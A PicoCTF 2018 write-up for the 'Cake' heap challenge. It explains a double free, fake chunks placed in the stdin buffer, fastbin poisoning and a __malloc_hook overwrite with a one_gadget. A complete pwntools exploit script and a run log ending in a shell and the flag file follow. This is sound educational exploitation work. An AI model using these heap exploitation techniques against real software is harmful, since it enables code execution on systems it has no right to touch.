PicoCTF 2018 - Cake

Note: This article is part of our PicoCTF 2018 BinExp Guide.

I’ll be honest. I struggled with this problem for a long, long time. Between this problem and freecalc I literally lost weeks of my life. It was only during an attempt at something much more difficult that I accidentally stumbled into the solution to this problem. Do not get discouraged if this something doesn’t make sense right away.

Spot the Bug

No C code this time around - you’ll have to peak into the binary if you want to know what’s going on. objdump -M intel -S ./cake will show you the assembly code - or you can use more advanced disassemblers like IDA or radare2.

The first thing I noticed was that serve() calls free(), but doesn’t appear to NULL out any pointers.

mov    rax,QWORD PTR [rbp-0x18]
mov    rdx,QWORD PTR [rbp-0x8]
add    rdx,0x2
mov    rax,QWORD PTR [rax+rdx*8]
mov    rdi,rax
call   400800 <free@plt>        ; free memory
mov    rax,QWORD PTR [rbp-0x18]
mov    rax,QWORD PTR [rax+0x8]  ; read value
lea    rdx,[rax-0x1]            ; decrement value by 1
mov    rax,QWORD PTR [rbp-0x18] 
mov    QWORD PTR [rax+0x8],rdx  ; write value

To confirm this suspicion I made a cake, served it, and then attempted to serve it again:

In total, you have sold $0 worth of merchandise, and have 1 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
> M
Making the cake......
Made cake 0.
Name> abcd
Price> 123
In total, you have sold $0 worth of merchandise, and have 2 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
> S
This customer looks really hungry. Which cake would you like to give them?
> 0
The customer looks really happy with abcd!
In total, you have sold $123 worth of merchandise, and have 2 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
> S
This customer looks really hungry. Which cake would you like to give them?
> 0
The customer looks really happy with abcd!
*** Error in `./cake': double free or corruption (fasttop): 0x0000000002547420 ***
Segmentation fault

BOOM! It let me try and free the same memory twice in a row. That means there is a use-after-free and it can be used to free the same memory twice. Now I know what you’re thinking: we just did that in contacts - there’s a twist this time though: THE PROGRAM ONLY EVER CALLS malloc(16). Which means we won’t be able to do the same thing we did last time. In fact, malloc(16) will only ever allocate/free memory from the first fastbin - even getting a libc leak is going to be trickier (because we can’t control the size of the allocations).

Strategy

My suggestions to someone starting this problem for the first time are as follows:

  1. Leak a Heap address (this is trivial)
  2. Fake a chunk, use this fake chunk to leak libc
  3. Identify your data structures, and how they are used/initialized.
  4. For your write-what-where primitive, consider how fields are read/written and in what order.

In the above assembly code, you’ll notice that it is non-optimized, and it continually does the same calculation over and over again to calculate what address a field is in memory before reading/writing to it. This will become very useful to use later on.

Same as the previous challenges, a libc leak and a write-what-where primitive will let you write a one_gadget into an important function pointer and launch a shell.

Background Info

Trick Question: What is the first heap allocation done by the program?

Answer: This program uses buffered-IO, and the first allocation is done internally by libc on the call to fgetc. It allocates a buffer (the size varies on whether it think it’s connected to a tty or not) for the input to get written to. This is the first chunk of memory on the heap, and it is “biggish” (think 1024 bytes or more).

When launched interactively, stdin is line-buffered, which means the initial call to fgetc() will actually wait for an entire line of input before returning, but then only return the first character. [When launched non-interactively, stdin will become fully-buffered, which means it will wait for the sending stream to flush]. In either case, if you type more than one character, where does the rest of that input go? Well, into the buffer of course.

Note: Before transitioning to the next stage, the rest of the input is consumed by the eat_line() function, which eats all the characters up to and including the next newline char. In this case, for this version of libc, it appears that after completely consuming all remaining input, the buffer pointers are reset and new content once again streams into the beginning of the buffer.

How does this help? Well, the IO buffer is a large chunk of memory that you can fill arbitrarily with whatever bytes you want (except a newline, which must be the last byte). It’s consistently the first thing on the heap, so if you can leak a heap offset, you will be able to write to memory with a known address.

Hypothetically, if you wrote bytes into memory that looked like an in-use chunk, and then you were able to call free on that address, you could “free” a fake chunk of any size you wanted. This is how you’ll construct your libc leak - create a fake chunk large enough that it would go into the unsorted bin, and free that memory. If you remember how the flags work, and remember that libc is aggressive about coalescing free memory, you’ll realize you need to fake at least 3 different chunks:

Chunk # Size Flag Description
0 0xA0 0x01 Chunk that would go into unsorted bin. Memory prior to this chunk in-use (so it can’t be coalesced).
1 0x20 0x01 Minimum size chunk - Needs to exist because it contains the flag for chunk 0, which should be marked as in-use.
2 0x20 0x01 Minimum size chunk - Needs to exist because it contains the flag for chunk 1, which could potentially be coalesced if it were free - needs to be marked as in use.

This is a solid plan for how to leak libc despite being unable to allocate anything other than malloc(16).

The next problem is trickier - You need a write-what-where primitive. You are limited by the fact that your memory allocations always come from the same fastbin. Let’s review the program’s data structures and how they are accessed.

Here’s the serve() function again, this time with more comments:

mov    rax,QWORD PTR [rbp-0x18] ; rax = shop
mov    rdx,QWORD PTR [rax]      ; rdx = *shop = MONEY
mov    rax,QWORD PTR [rbp-0x18] 
mov    rcx,QWORD PTR [rbp-0x8]  ; rcx = cake index
add    rcx,0x2
mov    rax,QWORD PTR [rax+rcx*8]
mov    rax,QWORD PTR [rax]      ; rax = *(shop + (i+2)*8) ; first 8 bytes of allocated memory is price
add    rdx,rax                  ; MONEY = MONEY + PRICE
mov    rax,QWORD PTR [rbp-0x18]
mov    QWORD PTR [rax],rdx      ; STORE MONEY back into memory

mov    rax,QWORD PTR [rbp-0x18] ; rax = shop
mov    rdx,QWORD PTR [rbp-0x8]  ; rdx = cake index
add    rdx,0x2
mov    rax,QWORD PTR [rax+rdx*8]    ; rax = ptr at shop + (i+2)*8
mov    rdi,rax
call   400800 <free@plt>            ; free(ptr)

mov    rax,QWORD PTR [rbp-0x18]     ; rax = shop
mov    rax,QWORD PTR [rax+0x8]      ; rax = *(shop + 8) = CUSTOMER  COUNT
lea    rdx,[rax-0x1]                ; rdx = rax - 1 = DECREMENT CUSTOMER COUNT
mov    rax,QWORD PTR [rbp-0x18]
mov    QWORD PTR [rax+0x8],rdx      ; UPDATE CUSTOMER COUNT

From this tiny bit of code you learn:

  1. The struct that shop points to has 3 fields: money (u64), customer count (u64), and an array of pointers to cakes. Money comes first, followed by customer count, followed by the array of pointers to cakes.
    struct shop_t
    {
     unsigned long money; //8 bytes
     unsigned long customers; ; //8 bytes
     struct cake_t* cakes[10]; // each pointer is 8 bytes, of which there are 10
    }
    
  2. Each cake struct is allocated on the heap. The allocations are 16 bytes, and the first 8 bytes are the price of the cake. The remaining 8 bytes are actually chars containing the cake “name” (names are limited to 7 chars, followed by a NULL byte) [not shown above, but can be confirmed by examining make()].
    struct cake_t
    {
     unsigned long price; //8 bytes
     char name[8]; //8 bytes
    }
    

If you do a similar exercise for the make() function, you’d see the following operations:

  1. The cakes[] array is searched for the first NULL. The index of that entry is preserved in a stack variable, and all reads/writes are done relative to the shop pointer and the cake index. IE: something like shop->cakes[index].
  2. malloc(16) is called, and the return value stored in shop->cakes[index].
  3. fgets(shop->cakes[index].name, 8, stdin); is called, reading up to 7 chars into the char array, followed by a NULL terminator.
  4. get() is called, which calls scanf("%llu") followed by eat_line(). The value is stored into the first 8 bytes of the cake structure. IE: something like shop->cakes[index].price = get();.

What are the implications of this code?

  • Everything is relative to shop/index and recalculated each time, no intermediate pointers are cached.
  • Chronologically, the name is written first, followed by price (but in the memory layout, price precedes name).

Consider again the layout of the shop structure in memory. Since everything is 8 bytes, imagine there are 2 columns, each 8 bytes wide:

<8 bytes> <8 bytes>
unsigned long money unsigned long customers
cakes[0]* cakes[1]*
cakes[2]* cakes[3]*
cakes[4]* cakes[5]*

As you saw in the last challenge, there are relatively few checks on “fake chunks” in the fastbins (they just have to be the right size). Consider what a series of 0x20 size chunks look like (with each of their in-use flags set so that the “previous chunk” is never considered free):

<8 bytes> <8 bytes>
<p_data_2>/<chunk_hdr1> 0x21
<data_0> <data_1>
<data_2>/<chunk_hdr2> 0x21

NOTE: you have some control over both customers and money in the shop array! What could you do if you had exactly 0x21 customers waiting?

If you had 33 customers waiting, and cakes[0] contained a pointer but cakes[1] was NULL, and you had poisoned the 0x20 fastbin such that the next allocation would be serviced by a fake chunk with its chunk header starting at shop, then calling make() would:

  1. Search cakes[] array for first NULL - save the index (1) in a stack variable.
  2. Call malloc(16), which will return the user-data of the fake chunk @ &shop. The user-data memory would be aligned to the start of the cakes[] array (see tables above).
  3. The malloc return value is stored in the free slot, cakes[1].
  4. The name is queried form the user, and then stored at an offset 8 bytes into the user-data section - which EXACTLY overlaps with the memory for cakes[1]. IE: this step overwrites the pointer for cakes[1] with user input.
  5. get() is called, and the return value is stored at the location pointed to by cakes[1] - since the pointer at cakes[1] was overwritten this is an arbitrary memory write primitive!

This is all the information you need to craft a useable exploit. If you think you are ready, connect to this challenge using nc 2018shell.picoctf.com 39932.

Exploitation

Same as last time, you can use the one_gadget at libc offset 0x4526a and overwrite __malloc_hook.

Now, there’s quite a bit of setup required here, but none of it is difficult:

  1. First, you leak a heap offset.
  2. Then, you setup the memory at shop so that it contains 0x21 customers.
  3. Then, you craft a fake chunk large enough to end up in the unsorted bin.
  4. Then, you free the fake chunk and leak libc.
  5. Finally, you execute the write-what-where primitive described above.

First up: Heap Leak. By now, you should have some idea of the steps for this. Allocate 2 cakes. Free (Serve) the first cake, Free (Serve) the second cake, then inspect the second cake. Those cakes will end up in the 0x20 fastbin, which stores free chunks as a singly-linked list. The second cake’s user-data will contain a pointer to the chunk header for the first cake (and the first cake’s user-data will contain a pointer to the next free chunk, which is NULL in this case). Since the chunk for the first cake is on the heap, if you can print the content of the user-data section for the second cake, you would learn an address located inside of heap memory. For this challenge, the Inspect command will print both the name and price of a cake - the price corresponds with the value of the pointer.

$ ./cake
<...>
> I
Which one?
> 1
cake2 is being sold for $6308880

In the above example (output trimmed for length), the second cake (containing a stale pointer to freed memory) has a price of $6308880. This means the chunk-header for the memory allocated for the first cake is at the address 0x604410. As discussed above, the actual first allocation is done internally by libc - in this case the example is using a tty terminal and the first chunk is only 0x410 bytes, meaning the heap starts at 0x604000. For streams that are not expected to be a tty (such as streams attached to sockets or pipes), a larger allocation will occur.

Using this version of libc, the chunk size for non-interactive IO buffers are 0x1010 bytes. (If those numbers seem odd to you, the malloc calls themselves are 1024 and 4096 bytes respectively, but they get rounded up to the next 16 byte alignment after accommodating the 8 byte chunk header).

Now, you could just wait until had 0x21 (33) customers, which would make &shop look like a fake 0x20 sized chunk, but ain’t nobody got time for that. While doing the above, you could also sell the first cake at a price of $0 and the second cake with a price of $0x21 (33). You could then use the (mis-aligned) memory at &shop-8 as a fake-chunk, and use that to overwrite customers and continue as planned.

Next up: setup the double free by Selling the first cake AGAIN. This means the chunk for the first cake will go into the fastbin again (creating a loop in the singly-linked list). The very next allocation is critical. Whatever “price” you set for the cake will eventually be interpreted as a pointer to a free chunk. Since you’ve sold $33 (0x21) worth of cake, pointing it at &shop - 8 would be adequate enough to point it at what looks like a free chunk and start directly allocating inside the shop structure.

Quick, what price should you use for the next cake?

$ objdump -t cake | grep shop
00000000006030e0 g     O .bss   0000000000000090              shop

The address of shop is 0x6030e0 (No PIE here). If the first 8 bytes of shop are to be interpreted as the size field of a 16 byte chunk header, that chunk-header should start at &shop-8. Written in decimal, &shop-8 is 6303960 - which should be the price of the next cake.

Next: Make three cakes - the first one should have a price of 6303960. The remaining cakes can have any arbitrary name/price. Due to the double-free, after creating the second cake, the first cake (the one allocated with the price of 6303960) will be BACK at the top of the fastbin. Allocate again, this will stomp on that cake, but set libc’s internal fastbin pointer to be what was in the first 8 bytes of user-data (IE: 6303960 = 0x6030d8 =&shop-8).

Finally, make one more cake - It should have a price of 0x21 and a name equivalent to &heap_base + 0x20 in little-endian form. The price of this cake will overwrite the # of customers variable inside of shop, and the name of this cake will overwrite the first cake pointer in the cakes[] array. Setting the cake pointer to point at the user-data section of a future fake-chunk living inside the IO buffer will be discussed bellow.

At this point three major concerns:

  1. The internal fastbin pointer for the 0x20 bin now points at whatever number of customers were previously waiting (0x02) - this is an invalid pointer and making any cakes in the program’s current state will cause it to crash.
  2. The second cake pointer in the array wasn’t overwritten and currently isn’t NULL (needed to execute the write-what-where primitive)
  3. The fake chunk used to short-cut waiting for 33 customers wasn’t properly aligned. If you attempt to free this memory, the program will segfault.

You should keep these concerns in mind, but there aren’t any show stoppers. One thing is done though, the shop struct’s first cake now points to memory inside the IO buffer, which is fully under your control. Take advantage of this and craft a fake chunk at that location.

Next up: craft a fake 0xA0 sized chunk inside the IO buffer. As discussed above, in order to safely free the fake chunk, you will actually need to craft 2.5 fake chunks. One for the target chunk, one for the chunk proceeding it in memory (which contains the in-use flag for the target chunk), and a little bit for the chunk header proceeding that one (which contains the in-use flag for the chunk following the target chunk). In this case, you should craft a fake chunk of size 0xA0 (+ flag = 0x01 = prev chunk in use), which is a chunk large enough that it would normally end up in the unsorted-bin when freed.

p.sendline(b" "*8 + p64(0xA1) + b"\0"*(0xA0 - 8) + p64(0x21) + b"\0"*(0x20 - 8) + p64(0x21))

Assuming the reads/writes are properly synchronized (which is what the eat_line() function helps with, along with pwntools’s sendline() routine flushing the buffer), the bytes written above will appear in memory at on offset of 0x10 into the heap.

If the heap base was 0x604000, then the chunk-header for this fake chunk would start 0x604010, and the user-data for this chunk would start at 0x604020 (remember, the values used by malloc/free, and by extension the values inside the cakes[] array, refer to the user-data pointer, while the fastbin internal structures always refer to the chunk header).

To leak libc, free (serve) the 0th cake, and then inspect the 0th cake. The leaked address will be the imaginary “chunk-header” for the memory structure containing the fwd/bck pointers for the unsorted bin inside libc. Its offset will be 0x3c4B78 relative to the base address (for this version of libc).

In total, you have sold $33 worth of merchandise, and have 34 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
S
This customer looks really hungry. Which cake would you like to give them?
>
0
The customer looks really happy with !
In total, you have sold $33 worth of merchandise, and have 33 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
I
Which one?
>
x+ü÷ÿ\x7f is being sold for $140737353886584

BOOM! You’ve got libc! 140737353886584 is 0x7ffff7fc2b78, which means libc’s base address is 0x7ffff7bfe000 (your numbers will differ if ASLR is turned on).

Now you just need to pivot back to allocating from &shop and you’ll be almost all setup for the write-what-where primitive.

To switch back to allocating from &shop, setup a fake (in-use) 0x20 sized chunk inside the IO buffer:

p.sendline(b" "*8 + p64(0x21) + b"\0"*(0x20 - 8) + p64(0x21) + b"\0"*(0x20 - 8) + p64(0x21))

Now, free cake 0 again - because the chunk ends up in a fastbin (and not the unsorted-bin), it won’t be detected as a double-free (even though you just freed exactly the same address a second ago). Freeing this memory places the fake chunk at the top of the fastbin.

Now that the fake chunk in the IO buffer contains free memory, modify the fake chunk’s next pointer to be &shop:

p.sendline(b" "*8 + p64(0x21) + p64(0x6030e0) + b"\0"*(0x20 - 16) + p64(0x21) + b"\0"*(0x20 - 8) + p64(0x21))

Now Make a cake (any cake)! This cake will get allocated into the fake chunk in IO buffer, but will change libc’s internal pointer to the top free chunk to be &shop. Note: during this process, shop.customers has been randomly incrementing, and then decrementing when you sell a cake. As long as the number of customers still looks like it belongs in the 0x20 bin, everything will still work.

Next up: Make a cake with a price of $0 and a name of 7 NULL bytes. This will clear the first two entries of the cakes[] array. You need to clear cakes[1] because that’s how the write-what-where primitive works, and you need to clear cakes[0], because you will still need to make 1 more cake, and the first empty spot will be consumed. An important side-effect of this step is that libc’s internal top-chunk pointer for the 0x20 fastbin is set to the previous value of cakes[0].

The address that was previously in cakes[0] (&heap_base + 0x20) is now interpreted as the chunk-header of the next free chunk. Note: previously &heap_base + 0x20 did NOT contain a chunk header, it was the user-data portion of the fake chunk. This means that although a fake chunk in the IO buffer is now at the top of the fastbin, everything must be offset 16 bytes relative to it’s previous location. This is easy to accommodate, but is an important book-keeping exercise.

To make the write-what-where primitive work, you need cakes[0] to be non-NULL and you need the top chunk in the fastbin to be &shop. The current top chunk is under your control, and you will need only 1 allocation to change it - which is perfect because that allocation will fill in cakes[0] and leave cakes[1] the next available empty cake slot.

Craft a fake 0x20 chunk in the IO buffer, with its next pointer set to &shop, but offset it 16 bytes deeper into the buffer then previously:

p.sendline(b" "*(8 + 16) + p64(0x21) + p64(0x6030e0) + b"\0"*(0x20 - 16) + p64(0x21) + b"\0"*(0x20 - 8) + p64(0x21))

Then make a cake (any cake)! This will change libc’s internal fastbin pointer so that &shop is the top free chunk in the 0x20 fastbin, modify cakes[0] to be non-NULL, and leave cakes[1] as NULL.

Execute the write-what-where primitive by making a cake, the name is the where (&__malloc_hook), and the price is the what (one_gadget).

Finally, to trigger the gadget and get a shell make one FINAL cake. This will call into &__malloc_hook, which calls the one_gadget, which launches a shell.

Putting it all together, here’s what those instructions look like using pwntools:

#!/bin/env python3

from pwn import *

lib = ELF("libc.so.6")
aout = ELF("cake")

#p = process(["ltrace", "-o", "trace", "-e", "malloc+printf+free+realloc+memcpy", "./sword"], env={"LD_PRELOAD": "noalarm.so"})
#p = process(["ltrace", "-o", "trace", "-e", "malloc+free", "./cake"])
p = process("./cake")
#p = gdb.debug("./cake", "break main\ncontinue\nni\nni\nni\ncall (void)alarm(0)\nc\n")
#p = remote("2018shell.picoctf.com", 39932)

def echo(str):
    print(str)
    p.sendline(str)
    _ = "".join(map(chr, p.recvline(timeout=2))).rstrip()
    print(_)
    return _

def wait_prompt():
    print("".join(map(chr, p.recvuntil("> "))).rstrip())

def make(name, price):
    wait_prompt()
    echo("M")
    print("".join(map(chr, p.recvuntil("Name> "))).rstrip())
    print(name)
    p.sendline(name)
    print("".join(map(chr, p.recvuntil("Price> "))).rstrip())
    print(str(price))
    p.sendline(str(price))

def serve(index):
    wait_prompt()
    echo("S")
    wait_prompt()
    echo(str(index))

def inspect(index):
    wait_prompt()
    echo("I")
    wait_prompt()
    p.sendline(str(index))
    _ =  p.recvuntil("$")
    pricebytes = p.recvline(keepends=False)
    _ += pricebytes
    print("".join(map(chr, _)))
    price = int(pricebytes)
    return price

def fake_chunk():
	wait_prompt()
	p.sendline(b" "*8 + p64(0xA1) + b"\0"*(0xA0 - 8) + # chunk 1
                p64(0x21) + b"\0"*(0x20 - 8) +  # chunk 2
                p64(0x21))  # chunk-header 3
	print("".join(map(chr, p.recvline(timeout=2))).rstrip())

def set_top(addr,offset=0):
	wait_prompt()
	p.sendline(b" "*(8+offset) + p64(0x21) + p64(addr) + b"\0"*(0x20 - 16) + # chunk 1
                 p64(0x21) + b"\0"*(0x20 - 8) + #chunk 2
                 p64(0x21)) # chunk-header 3
	print("".join(map(chr, p.recvline(timeout=2))).rstrip())

make("A", 0) # 0
make("B", 0x21) # 1

serve(0)
serve(1)

heap_addr = inspect(1)
heap_base = heap_addr - 0x1010
print("LEAKED HEAP ADDR: 0x%08X" % heap_addr)
print("HEAP BASE ADDR: 0x%08X" % heap_base)

serve(0) # DOUBLE FREE

# We have setup a double free.
make("C", aout.symbols["shop"]-8) # consumes prev #0 - primes &shop-8 to be the top chunk
make("D", 0) # 3 - consumes previous #1
make("E", 0) # 4 - re-consumes #0, putting (&shop-8) at TOP of fastbin

make(p64(heap_base + 0x20), 0x21) # 5 - overwrites 0x21 into customers. **Fastbin is corrupted**
# heap_base + 0x20 is the addr of a future fake chunk, written into cakes[0]

fake_chunk() # craft a fake 0xA0 size chunk in the IO buffer
serve(0) # free the fake chunk
addr = inspect(0) # leak ptr to unsorted bin
libcbase = addr - 0x3c4B78
print("LIBC BASE ADDR: 0x%08x" % libcbase)

set_top(0) # craft a fake 0x20 size in-use chunk in the IO buffer
serve(0) # free the fake chunk (fake chunk becomes top chunk in the 0x20 fastbin)

set_top(aout.symbols["shop"]) #overwrite the next-pointer to now point at &shop
make("F", 0) # 6 - DUMMY, consumes the fake chunk, making &shop the top free chunk in the fastbin

make("\0"*7, 0) # clears cakes[0]/cakes[1]. puts heap_base + 0x20 at the top of the fastbin.

set_top(aout.symbols["shop"], 16) # NOTE: This fake chunk is OFFSET by 16 bytes
make("G", 0) # DUMMY, consumes "fake-chunk" and writes to cakes[0]
# &shop is once again at the top of the fastbin.

make(p64(lib.symbols["__malloc_hook"] + libcbase), 0x4526a + libcbase) # write-what-where
# 0x4526a is the offset of the one_gadget

echo("M") # one more malloc, which calls into __malloc_hook, which calls the one_gadget.

p.interactive()

Which, when run, looks something like this:

$ python3 cake_pwn3.py
[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] './cake'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    b'./'
[+] Opening connection to 2018shell.picoctf.com on port 39932: Done
              *                                             *
                                               *
                    *
                                  *
                                                            *
         *
                                                  *
             *
                           *             *
                                                     *
      *                                                               *
               *
                               (             )
                       )      (*)           (*)      (
              *       (*)      |             |      (*)
                       |      |~|           |~|      |          *
                      |~|     | |           | |     |~|
                      | |     | |           | |     | |
                     ,| |a@@@@| |@@@@@@@@@@@| |@@@@a| |.
                .,a@@@| |@@@@@| |@@@@@@@@@@@| |@@@@@| |@@@@a,.
              ,a@@@@@@| |@@@@@@@@@@@@.@@@@@@@@@@@@@@| |@@@@@@@a,
             a@@@@@@@@@@@@@@@@@@@@@' . `@@@@@@@@@@@@@@@@@@@@@@@@a
             ;`@@@@@@@@@@@@@@@@@@'   .   `@@@@@@@@@@@@@@@@@@@@@';
             ;@@@`@@@@@@@@@@@@@'     .     `@@@@@@@@@@@@@@@@'@@@;
             ;@@@;,.aaaaaaaaaa       .       aaaaa,,aaaaaaa,;@@@;
             ;;@;;;;@@@@@@@@;@      @.@      ;@@@;;;@@@@@@;;;;@@;
             ;;;;;;;@@@@;@@;;@    @@ . @@    ;;@;;;;@@;@@@;;;;;;;
             ;;;;;;;;@@;;;;;;;  @@   .   @@  ;;;;;;;;;;;@@;;;;@;;
             ;;;;;;;;;;;;;;;;;@@     .     @@;;;;;;;;;;;;;;;;@@@;
         ,%%%;;;;;;;;@;;;;;;;;       .       ;;;;;;;;;;;;;;;;@@;;%%%,
      .%%%%%%;;;;;;;@@;;;;;;;;     ,%%%,     ;;;;;;;;;;;;;;;;;;;;%%%%%%,
     .%%%%%%%;;;;;;;@@;;;;;;;;   ,%%%%%%%,   ;;;;;;;;;;;;;;;;;;;;%%%%%%%,
     %%%%%%%%`;;;;;;;;;;;;;;;;  %%%%%%%%%%%  ;;;;;;;;;;;;;;;;;;;'%%%%%%%%
     %%%%%%%%%%%%`;;;;;;;;;;;;,%%%%%%%%%%%%%,;;;;;;;;;;;;;;;'%%%%%%%%%%%%
     `%%%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%%%%%%'
       `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
           `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
                  """"""""""""""`,,,,,,,,,'"""""""""""""""""
                                 `%%%%%%%'
                                  `%%%%%'
                                    %%%
                                   %%%%%
                                .,%%%%%%%,.
                           ,%%%%%%%%%%%%%%%%%%%,




In total, you have sold $0 worth of merchandise, and have 1 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 0.
Name>
A
Price>
0
In total, you have sold $0 worth of merchandise, and have 1 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 1.
Name>
B
Price>
33
In total, you have sold $0 worth of merchandise, and have 2 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
S
This customer looks really hungry. Which cake would you like to give them?
>
0
The customer looks really happy with A!
In total, you have sold $0 worth of merchandise, and have 2 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
S
This customer looks really hungry. Which cake would you like to give them?
>
1
The customer looks really happy with B!
In total, you have sold $33 worth of merchandise, and have 1 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
I
Which one?
>
B is being sold for $26345488
LEAKED HEAP ADDR: 0x01920010
HEAP BASE ADDR: 0x0191F000
In total, you have sold $33 worth of merchandise, and have 1 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
S
This customer looks really hungry. Which cake would you like to give them?
>
0
The customer looks really happy with A!
In total, you have sold $33 worth of merchandise, and have 1 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 2.
Name>
C
Price>
6303960
In total, you have sold $33 worth of merchandise, and have 2 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 3.
Name>
D
Price>
0
In total, you have sold $33 worth of merchandise, and have 2 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 4.
Name>
E
Price>
0
In total, you have sold $33 worth of merchandise, and have 2 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 5.
Name>
b' \xf0\x91\x01\x00\x00\x00\x00'
Price>
33
In total, you have sold $33 worth of merchandise, and have 34 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
Unrecognized command:
In total, you have sold $33 worth of merchandise, and have 34 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
S
This customer looks really hungry. Which cake would you like to give them?
>
0
The customer looks really happy with !
In total, you have sold $33 worth of merchandise, and have 33 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
I
Which one?
>
x»Ùhâ\x7f is being sold for $140610398436216
LIBC BASE ADDR: 0x7fe2689d7000
In total, you have sold $33 worth of merchandise, and have 33 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
Unrecognized command:
In total, you have sold $33 worth of merchandise, and have 33 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
S
This customer looks really hungry. Which cake would you like to give them?
>
0
The customer looks really happy with !
In total, you have sold $33 worth of merchandise, and have 33 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
Unrecognized command:
In total, you have sold $33 worth of merchandise, and have 33 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 6.
Name>
F
Price>
0
In total, you have sold $33 worth of merchandise, and have 34 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 7.
Name>
\x00\x00\x00\x00
Price>
0
In total, you have sold $33 worth of merchandise, and have 34 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
Unrecognized command:
In total, you have sold $33 worth of merchandise, and have 34 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 0.
Name>
G
Price>
0
In total, you have sold $33 worth of merchandise, and have 34 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
>
M
Making the cake......
Made cake 1.
Name>
b'\x10\xbb\xd9h\xe2\x7f\x00\x00'
Price>
140610394767978
M
In total, you have sold $33 worth of merchandise, and have 34 customers waiting.
[*] Switching to interactive mode
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
> Making the cake......
$ ls
cake
flag.txt
libc.so.6
xinet_startup.sh
$ cat flag.txt
picoCTF{===REDACTED===}

Boom! Head back to the PicoCTF 2018 BinExp Guide to continue with the LAST AND FINAL challenge.